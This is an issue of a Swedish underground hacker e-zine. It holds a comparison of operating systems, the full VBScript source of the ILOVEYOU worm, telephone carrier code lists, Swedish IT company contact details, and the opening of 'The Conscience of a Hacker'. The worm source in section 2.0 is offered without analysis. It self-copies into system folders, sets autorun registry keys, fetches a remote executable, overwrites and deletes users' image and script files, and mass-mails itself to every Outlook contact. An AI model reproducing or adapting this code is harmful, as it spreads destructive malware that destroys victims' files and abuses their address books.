OBS! Denna textfil ingår i ett arkiv som är dedikerat att bevara svensk undergroundkultur, med målsättningen att vara så heltäckande som möjligt. Flashback kan inte garantera att innehållet är korrekt, användbart eller baserat på fakta, och är inte heller ansvariga för eventuella skador som uppstår från användning av informationen.
http://www.teliasuger.com ---> Sidan kommer se ut s hr tills all grafik r klar.
teliasuger.com och streetwh0reproductions inc presenterar...
" S T R E E T W H O R E "
#2
-------------->
INNEHLL
-------------->
--------------------------------------------------------------->
1.0 Test av BeOS,Linux,MacOS,Win98 och Windows2000.
--------------------------------------------------------------->
2.0 Kll koden till "LOVE-LETTER-FOR-YOU.TXT.vbs"
--------------------------------------------------------------->
3.0 Namn och frkortningar p Amerikanska telefon bolag.
--------------------------------------------------------------->
4.0 Fax/telefon nummer och web adresser till fretag.
--------------------------------------------------------------->
5.0 Riktnummer till hela USA samt telefon operatren som ger nummret.
--------------------------------------------------------------->
6.0 \/\The Conscience of a Hacker/\/
--------------------------------------------------------------->
7.0 Telia Konton.
--------------------------------------------------------------->
8.0 Slutord.
--------------------------------------------------------------->
--------------------------------------------------------------------------------------------------->
1.0 Test av BeOS,Linux,Mac OS,Windows98 och Windows 2000.
--------------------------------------------------------------------------------------------------->
---------------->
Leverantr[1]:
---------------->
Pris[2]:
---------------->
Pris/Uppgradering[3]:
---------------->
versatt till svenska[4]:
---------------->
Minneskrav[5]:
---------------->
Usb std[6]:
---------------->
Strmsparfunktioner[7]:
---------------->
Std fr flera skrmar[8]:
---------------->
Operativsystem multikrning[9]:
---------------->
Program kan delas in i trdar[10]:
---------------->
Kan anvnda mer n en processor[11]:
---------------->
Frdelar[12]:
---------------->
Nackdelar[13]:
---------------->
-------------------------------------------------------------------------------------------------------------------------->
-------------------------->
BeOS 5.0 Personal Edition
-------------------------->
--->
[1] = www.be.com
--->
[2] = Gratis
--->
[3] = N/A.
--->
[4] = Nej
--->
[5] = 32
--->
[6] = Ja
--->
[7] = Nej
--->
[8] = Nej
--->
[9] = Ja
--->
[10] = Ja
--->
[11] = Ja
--->
[12] = Mycket snabbt, lg frdrjning. Lmpar sig fr realtidstillmpningar som audio och video. Ltt ocks att installera.
--->
[13] = Frvarande s finns det extremt lite program fr BeOS. Systemet saknar ocks "strmsparfunktioner".
--->
Slutpong: 8/10
-------------------------------------------------------------------------------------------------------------------------->
-------------------------->
Mac OS 9
-------------------------->
--->
[1] = Apple.
--->
[2] = Ingr vid datorkp.
--->
[3] = 1000kr
--->
[4] = Ja
--->
[5] = 16
--->
[6] = Ja
--->
[7] = Ja
--->
[8] = Ja
--->
[9] = Nej
--->
[10] = Nej
--->
[11] = Nej
--->
[12] = Genom tnkt, bra anvndargrnssnitt, helt p svenska. Vldigt bra program utbud.
--->
[13] = Gr endast att kra p Apples datorer. Finns ocks brister i multikrning och minnesskydd.
--->
Slutpong: 6/10
-------------------------------------------------------------------------------------------------------------------------->
-------------------------->
Red Hat Linux 6.2 Deluxe
-------------------------->
--->
[1] = Linuxbutiken
--->
[2] = 600Kr
--->
[3] = N/A
--->
[4] = Endast vissa delar.
--->
[5] = 16
--->
[6] = Nej
--->
[7] = Ja
--->
[8] = Nej
--->
[9] = Ja
--->
[10] = Ja
--->
[11] = Ja
--->
[12] = Snabbt, Bra p multikrning till ett lgt pris.
--->
[13] = Hopplock av programmoduler frn olika tillverkare ger inkonsekvent anvndargrnssnitt och luckor i funktionaliteten.
--->
Slutpong: 7/10
-------------------------------------------------------------------------------------------------------------------------->
-------------------------->
Windows 98
-------------------------->
--->
[1] = Microsoft
--->
[2] = 1500kr
--->
[3] = 900kr
--->
[4] = Ja
--->
[5] = 16
--->
[6] = Ja
--->
[7] = Ja
--->
[8] = Ja
--->
[9] = Ja
--->
[10] = Ja
--->
[11] = Nej
--->
[12] = Enormt program utbud. Genomtnkt, bra anvndargrnssnitt, helt p svenska. Heltckande tillgng till drivrutiner.
--->
[13] = Dligt minnesskydd, mindre bra fr realtidstillmpningar p grund av frdrjningar.
--->
Slutpong: 8/10
-------------------------------------------------------------------------------------------------------------------------->
-------------------------->
Windows 2000
-------------------------->
--->
[1] = Microsoft
--->
[2] = 3000kr
--->
[3] = 1200kr
--->
[4] = Ja
--->
[5] = 32
--->
[6] = Ja
--->
[7] = Ja
--->
[8] = Ja
--->
[9] = Ja
--->
[10] = Ja
--->
[11] = Ja
--->
[12] = Enormt program utbud. Utmrkt genomtnkt, bra anvndargrnssnitt, helt p svenska.
--->
[13] = Ganska hrdvarukrvande. Inte lika bra hrdvaru std som Windows98. Realtivt hgt pris.
--->
Slutpong: 10/10
-------------------------------------------------------------------------------------------------------------------------->
Written and tested by: sysedit
-------------------------------------------------------------------------------------------------------------------------->
2.0 Kll koden till "LOVE-LETTER-FOR-YOU.TXT.vbs"
-------------------------------------------------------------------------------------------------------------------------->
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr> =1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKerne
l32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win3
2DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njb
vYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbv
bmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-
BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdg
lkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUG
SFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq <> folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)> int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=" <HTML> <HEAD> <TITLE> LOVELETTER - HTML <?-?TITLE> <META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@> "&vbcrlf& _
" <META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@> "&vbcrlf& _
" <META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@> "&vbcrlf& _
" <?-?HEAD> <BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
"&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@> "&vbcrlf& _
" <CENTER> <p> This HTML file need ActiveX Control <?-?p> <p> To Enable to read
this HTML file <BR> - Please press #-#YES#-# button to Enable
ActiveX <?-?p> "&vbcrlf& _
" <?-?CENTER> <MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@> ----------z--------------------z---------- <?-?MARQUEE>
"&vbcrlf& _
" <?-?BODY> <?-?HTML> "&vbcrlf& _
" <SCRIPT language=@-@JScript@-@> "&vbcrlf& _
" <!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?--> "&vbcrlf& _
" <?-?SCRIPT> "&vbcrlf& _
" <SCRIPT LANGUAGE=@-@VBScript@-@> "&vbcrlf& _
" <!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dir
system&@-@^-^MSKernel32.vbs@-@"&vbcrlf&
_
"?-??-?--> "&vbcrlf& _
" <?-?SCRIPT> "
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
Input by: sysedit
-------------------------------------------------------------------------------------------------------------------------->
3.0 Namn och frkortningar p Amerikanska telefon bolag. (jmfr med listan p 5.0)
-------------------------------------------------------------------------------------------------------------------------->
ADG - Advantage Network, Inc. AGN - AMRIGON
ALG - Allnet Communication Services AMM - Access Long Distance
AAM - ALASCOM ARE - American Express TRS
ARZ - AmeriCall Corporation (Calif.) ATC - Action Telecom Co.
ATX - AT&T BML - Phone America
BUR - Burlington Tel. CAB - Hedges Communications
CAN - Telcom Canada CNO - COMTEL of New Orleans
CQU - ConQuest Comm. Corp CSY - COM Systems
CUX - Compu-Tel Inc. CYT - ClayDesta Communications
DCT - Direct Communications, Inc. DLT - Delta Communications, Inc.
EDS - Electronic Data Systems Corp. ETS - Eastern Telephone Systems, Inc.
EXF - Execulines of Florida, Inc. FDG - First Digital Network
FDN - Florida Digital Network FDT - Friend Technologies
FST - First Data Resources GCN - General Communications, Inc.
GTS - Telenet Comm. Corp. HNI - Houston Network, Inc.
ITT - United States Transmission System LDD - LDDS-II, Inc.
LDL - Long Distance for Less LGT - LITEL
LNS - Lintel Systems LSI - Long Distance Savers
LTQ - Long Distance for Less MAL - MIDAMERICAN
MCI - MCI Telecommunications Corp. MDE - Meade Associates
MEC - Mercury, Inc. MIC - Microtel, Inc.
MIT - Midco Communications MTD - Metromedia Long Distance
NLD - National Data Corp. NTK - Network Telemanagement Svcs.
NTS - NTS Communications ONC - OMNICALL, Inc.
ONE - One Call Communications, Inc. PHE - Phone Mail, Inc.
PLG - Pilgrim Telephone Co. PRO - PROTO-COL
RBW - R-Comm RTC - RCI Corporation
SAN - Satelco SCH - Schneider Communications
SDY - TELVUE Corp. SIR - Southern Interexchange Services
SLS - Southland Systems, Inc. SNH - Sunshine Telephone Co.
SNT - SouthernNet, Inc. SOC - State of California
TBQ - Telecable Corp. TDD - Teleconnect
TDX - Cable & Wireless Comm. TED - TeleDial America
TEM - Telesystems, Inc. TEN - Telesphere Network, Inc.
TET - Teltec Savings Communications Co TGN - Telemanagement Consult't Corp.
THA - Touch America TID - TMC South Central Indiana
TKC - TK Communications, Inc. TLS - TELE-SAV
TMU - Tel-America, Inc. TNO - ATC Cignal Communications
TOM - TMC of Montgomery TOR - TMC of Orlando
TSF - SOUTH-TEL TSH - Tel-Share
TTH - Tele Tech, Inc. TTU - Total-Tel USA
TXN - Tex-Net USL - U.S. Link Long Distance
UTC - U.S. Telcom, Inc. (U.S. Sprint) VOA - Valu-Line
VST - STAR-LINE WES - Westel
WUT - Western Union Telegraph Co.
Written by: sysedit
-------------------------------------------------------------------------------------------------------------------------->
4.0 Fax/telefon nummer och web adresser till fretag i Sverige. (Samtliga IT/dator fretag.)
-------------------------------------------------------------------------------------------------------------------------->
Fretag: Telefon Fax http://
ACI Nordic 08-750 63 00 08-750 63 60 www.aci.se
Adobe Svenska 08-752 33 00 08-751 49 55 www.adobe.se
Apple 08-703 30 00 08-703 30 01 www.apple.se
BIP 0942-475 00 N/A www.bip.net
CAV 040-49 64 20 040-49 69 10 www.cav.se
Compaq 08-703 52 00 08-751 20 57 www.compaq.se
Corel 08-655 26 18 08-65536 27 www.corel.ca
Datacentrum 0371-135 02 0371-838 17 www.datacentrum.se
Datelcomp 08-583 584 95 08-583 528 77 www.datelcomp.se
Dell 08-590 051 00 08-590 737 89 www.dell.se
Dimac 042-16 02 00 042-16 02 30 www.dimac.net
Dustin 08-553 440 00 08-553 443 40 www.dustin.se
EIS 018-13 05 20 018-13 00 27 www.euroinfosys.se
Ekab 013-36 93 00 013-36 93 20 www.ekab.se
EUD Teknik 018-34 93 90 018-34 93 98 www.eud.se
Fujitsu Nordic 08-626 60 00 08-626 67 11 www.fujitsu-europe.com
Fujitsu Siemens 08-793 82 00 08-793 89 71 www.fujitsu.se
Gateway 08-545 120 00 08-545 120 85 www.gateway.se
Hewlett-Packard 08-444 20 00 08-444 26 66 www.hp.se
Home 08-509 030 00 N/A www.home.se
IBM 08-793 10 00 08-793 49 11 www.ibm.se
Lexmark Sverige 08-522 579 00 08-730 44 33 www.lexmark.se
Libertysurf 08-563 150 00 N/A www.libertysurf.se
Linuxbutiken 08-556 800 45 08-448 23 92 www.linuxbutiken.com
Mapcom Geografiska info 018-12 29 10 018-12 87 69 www.mapcom.se
Microsoft 08-752 56 00 08-750 51 58 www.microsoft.se
Netlink 08-22 38 90 N/A www.netlink.se
Pyrotech 046-25 309 00 046-25 00 03 www.pyrotech.se
Runaware 08-556 309 00 08-566 309 30 www.runaware.com
Sense Office 08-504 103 10 08-500 277 77 www.senseforsaljning.se
SMG 08-587 771 00 08-587 773 15 seweb.smg.net
SPC Trading 018-480 90 00 018-480 90 90 www.spc.se
Spray 08-527 902 00 N/A www.spray.se
Studentlitteratur... 046-31 22 22 046-30 53 39 www.studentlitteratur.se
Symantec Sverige 08-457 34 00 08-457 34 05 www.symantec.se
TCX Datakonsult 08-729 69 10 N/A web.mysql.com
Tele 2 08-562 640 00 08-562 640 00 www.tele2.se
Telenordia 0200-87 00 87 0200-87 11 87 www.telenordia.se
Telia 90400 N/A www.telia.se
Toshiba 08-734 35 50 08-27 10 77 www.toshiba.se
Utfors 018-480 21 00 018-480 21 79 www.utfors.se
Xircom 08-590 332 80 08-590 717 81 www.xircom.se
Written by: sysedit
-------------------------------------------------------------------------------------------------------------------------->
5.0 Riktnummer till hela USA samt telefon operatren som ger nummret.
-------------------------------------------------------------------------------------------------------------------------->
221 ATX 222 ATX 223 ATX 224 LDL 225 ATX
226 MIC 227 ATX 228 ATX 229 TDX 230 NTK
231 ATX 232 ATX 233 ATX 234 MCI 235 ATX
236 SCH 237 ATX 238 ATX 239 DLT 240 SIR
241 ATX 242 ATX 243 ATX 244 --- 245 ATX
246 --- 247 ATX 248 ATX 249 --- 250 ---
251 ATX 252 ATX 253 ATX 254 TTU 255 ATX
256 LSI 257 ATX 258 ATX 259 --- 260 ---
261 SCH 262 ATX 263 CAN 264 ICT 265 CAN
266 CSY 267 CAN 268 CAN 269 FDG 270 ---
271 --- 272 ATX 273 --- 274 MCI 275 ITT
276 ONE 277 SNT 278 --- 279 MAL 280 ADG
281 --- 282 ATX 283 MCI 284 MCI 285 ---
286 --- 287 --- 288 MCI 289 MCI 290 ---
291 --- 292 ATX 293 PRO 294 --- 295 ---
296 --- 297 ARE 298 --- 299 CYT
321 ATX 322 ATX 323 ATX 324 HNI 325 ATX
326 UTC 327 ATX 328 ATX 329 TET 330 TET
331 ATX 332 ATX 333 MCI 334 ATX 335 SCH
336 ATX 337 FST 338 ATX 339 --- 340 ---
341 ATX 342 ATX 343 ATX 344 ATX 345 ATX
346 ATX 347 UTC 348 ATX 349 DCT 350 CSY
351 ATX 352 ATX 353 --- 354 --- 355 ---
356 ATX 357 --- 358 ATX 359 UTC 360 ---
361 CAN 362 ATX 363 CAN 364 HNI 365 MCI
366 UTC 367 ATX 368 ATX 369 TDD 370 TDD
371 --- 372 ATX 373 TDD 374 --- 375 TNO
376 --- 377 GTS 378 --- 379 --- 380 ---
381 --- 382 ATX 383 TDD 384 FDT 385 CAB
386 TBQ 387 CAN 388 --- 389 --- 390 ---
391 --- 392 ATX 393 EXF 394 --- 395 ---
396 --- 397 TDD 398 --- 399 ARZ
421 ATX 422 ATX 423 ATX 424 ATX 425 TTH
426 ATX 427 --- 428 ATX 429 --- 430 ---
431 ATX 432 ATX 433 ATX 434 AGN 435 ATX
436 IDN 437 ATX 438 ATX 439 --- 440 TXN
441 ATX 442 ATX 443 ATX 444 MCI 445 ATX
446 ATX 447 ATX 448 ATX 449 --- 450 USL
451 ATX 452 ATX 453 ATX 454 ALN 455 ---
456 MCI 457 ATX 458 ATX 459 --- 460 ---
461 CAN 462 ATX 463 CAN 464 --- 465 CAN
466 ALN 467 ICT 468 ATX 469 --- 470 ---
471 ALN 472 ATX 473 --- 474 --- 475 TDD
476 TDD 477 --- 478 AAM 479 --- 480 ---
481 --- 482 ATX 483 --- 484 TDD 485 TDD
486 TDX 487 --- 488 --- 489 TOM 490 ---
491 --- 492 ATX 493 --- 494 --- 495 ---
496 --- 497 --- 498 --- 499 ---
521 ATX 522 ATX 523 ATX 524 ATX 525 ATX
526 ATX 527 ATX 528 ATX 529 MIT 530 ---
531 ATX 532 ATX 533 ATX 534 --- 535 ATX
536 ALN 537 ATX 538 ATX 539 --- 540 ---
541 ATX 542 ATX 543 ATX 544 ATX 545 ATX
546 UTC 547 ATX 548 ATX 549 --- 550 CMA
551 ATX 552 ATX 553 ATX 554 ATX 555 ATX
556 ATX 557 ALN 558 ATX 559 --- 560 ---
561 CAN 562 ATX 563 CAN 564 --- 565 CAN
566 ALN 567 CAN 568 --- 569 --- 570 ---
571 --- 572 ATX 573 --- 574 AMM 575 ---
576 --- 577 GTS 578 --- 579 LNS 580 WES
581 --- 582 ATX 583 TDD 584 TDD 585 ---
586 ATC 587 LTQ 588 ATC 589 LGT 590 ---
591 --- 592 ATX 593 TDD 594 TDD 595 ---
596 --- 597 --- 598 --- 599 ---
621 ATX 622 ATX 623 --- 624 ATX 625 NLD
626 ATX 627 MCI 628 ATX 629 --- 630 ---
631 ATX 632 ATX 633 ATX 634 ATX 635 ATX
636 CQU 637 ATX 638 ATX 639 BUR 640 ---
641 ATX 642 ATX 643 ATX 644 CMA 645 ATX
646 --- 647 ATX 648 ATX 649 --- 650 ---
651 --- 652 ATX 653 --- 654 ATX 655 ---
656 --- 657 TDD 658 TDD 659 --- 660 ---
661 CAN 662 ATX 663 CAN 664 UTC 665 CAN
666 MCI 667 CAN 668 CAN 669 UTC 670 ---
671 --- 672 ATX 673 TDD 674 TDD 675 ---
676 --- 677 --- 678 MCI 679 --- 680 ---
681 --- 682 ATX 683 MTD 684 --- 685 ---
686 LGT 687 NTS 688 --- 689 --- 690 ---
691 --- 692 ATX 693 --- 694 --- 695 ---
696 --- 697 --- 698 NYC 699 PLG
720 TGN
721 --- 722 ATX 723 --- 724 RTC 725 SAN
726 UTC 727 MCI 728 TDD 729 UTC 730 ---
731 --- 732 ATX 733 UTC 734 --- 735 UTC
736 UTC 737 MEC 738 MEC 739 --- 740 ---
741 MIC 742 ATX 743 EDS 744 --- 745 ---
746 --- 747 TDD 748 TDD 749 TDD 750 ---
751 --- 752 ATX 753 --- 754 TSH 755 ---
756 --- 757 TID 758 --- 759 MCI 760 ---
761 --- 762 ATX 763 --- 764 AAM 765 ---
766 --- 767 UTC 768 SNT 769 --- 770 GCN
771 SNT 772 ATX 773 CUX 774 --- 775 ---
776 UTC 777 MCI 778 UTC 779 TDD 780 TDD
781 --- 782 ATX 783 ALN 784 ALG 785 SNH
786 *1 787 --- 788 --- 789 TMU 790 ---
791 --- 792 ATX 793 --- 794 --- 795 ---
796 --- 797 TID 798 TDD 799 ---
821 ATX 822 ATX 823 THA 824 ATX 825 MCI
826 ATX 827 UTC 828 ATX 829 UTC 830 ---
831 ATX 832 ATX 833 ATX 834 --- 835 ATX
836 TDD 837 TDD 838 --- 839 VST 840 ---
841 ATX 842 ATX 843 ATX 844 LDD 845 ATX
846 --- 847 ATX 848 ATX 849 --- 850 TKC
851 ATX 852 ATX 853 --- 854 ATX 855 ATX
856 --- 857 TLS 858 ATX 859 --- 860 ---
861 --- 862 ATX 863 ALN 864 TEN 865 ---
866 --- 867 --- 868 SNT 869 UTC 870 ---
871 --- 872 ATX 873 MCI 874 ATX 875 ALN
876 MCI 877 UTC 878 ALN 879 --- 880 NAS
881 NAS 882 ATX 883 --- 884 --- 885 ATX
886 ALN 887 ETS 888 MCI 889 --- 890 ---
891 --- 892 ATX 893 --- 894 --- 895 ---
896 TXN 897 --- 898 CGI 899 TDX
921 --- 922 ATX 923 ALN 924 --- 925 ---
926 --- 927 --- 928 CIS 929 --- 930 ---
931 --- 932 ATX 933 --- 934 --- 935 ---
936 RBW 937 MCI 938 --- 939 --- 940 TSF
941 --- 942 ATX 943 --- 944 --- 945 ---
946 --- 947 --- 948 --- 949 --- 950 MCI
951 BML 952 ATX 953 --- 954 --- 955 MCI
956 --- 957 --- 958 *2 959 *2 960 CNO
961 --- 962 ATX 963 SOC 964 --- 965 ---
966 TDX 967 --- 968 TED 969 TDX 970 ---
971 --- 972 ATX 973 --- 974 --- 975 ---
976 --- 977 --- 978 --- 979 --- 980 ---
981 --- 982 ATX 983 WUT 984 --- 985 ---
986 WUT 987 --- 988 WUT 989 TDX 990 ---
991 --- 992 ATX 993 --- 994 --- 995 ---
996 VOA 997 --- 998 --- 999 MCI
Written by: phrack (ndrat till "dagens datum") av sysedit.
-------------------------------------------------------------------------------------------------------------------------->
6.0 \/\The Conscience of a Hacker/\/
-------------------------------------------------------------------------------------------------------------------------->
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
The following was written shortly after my arrest...
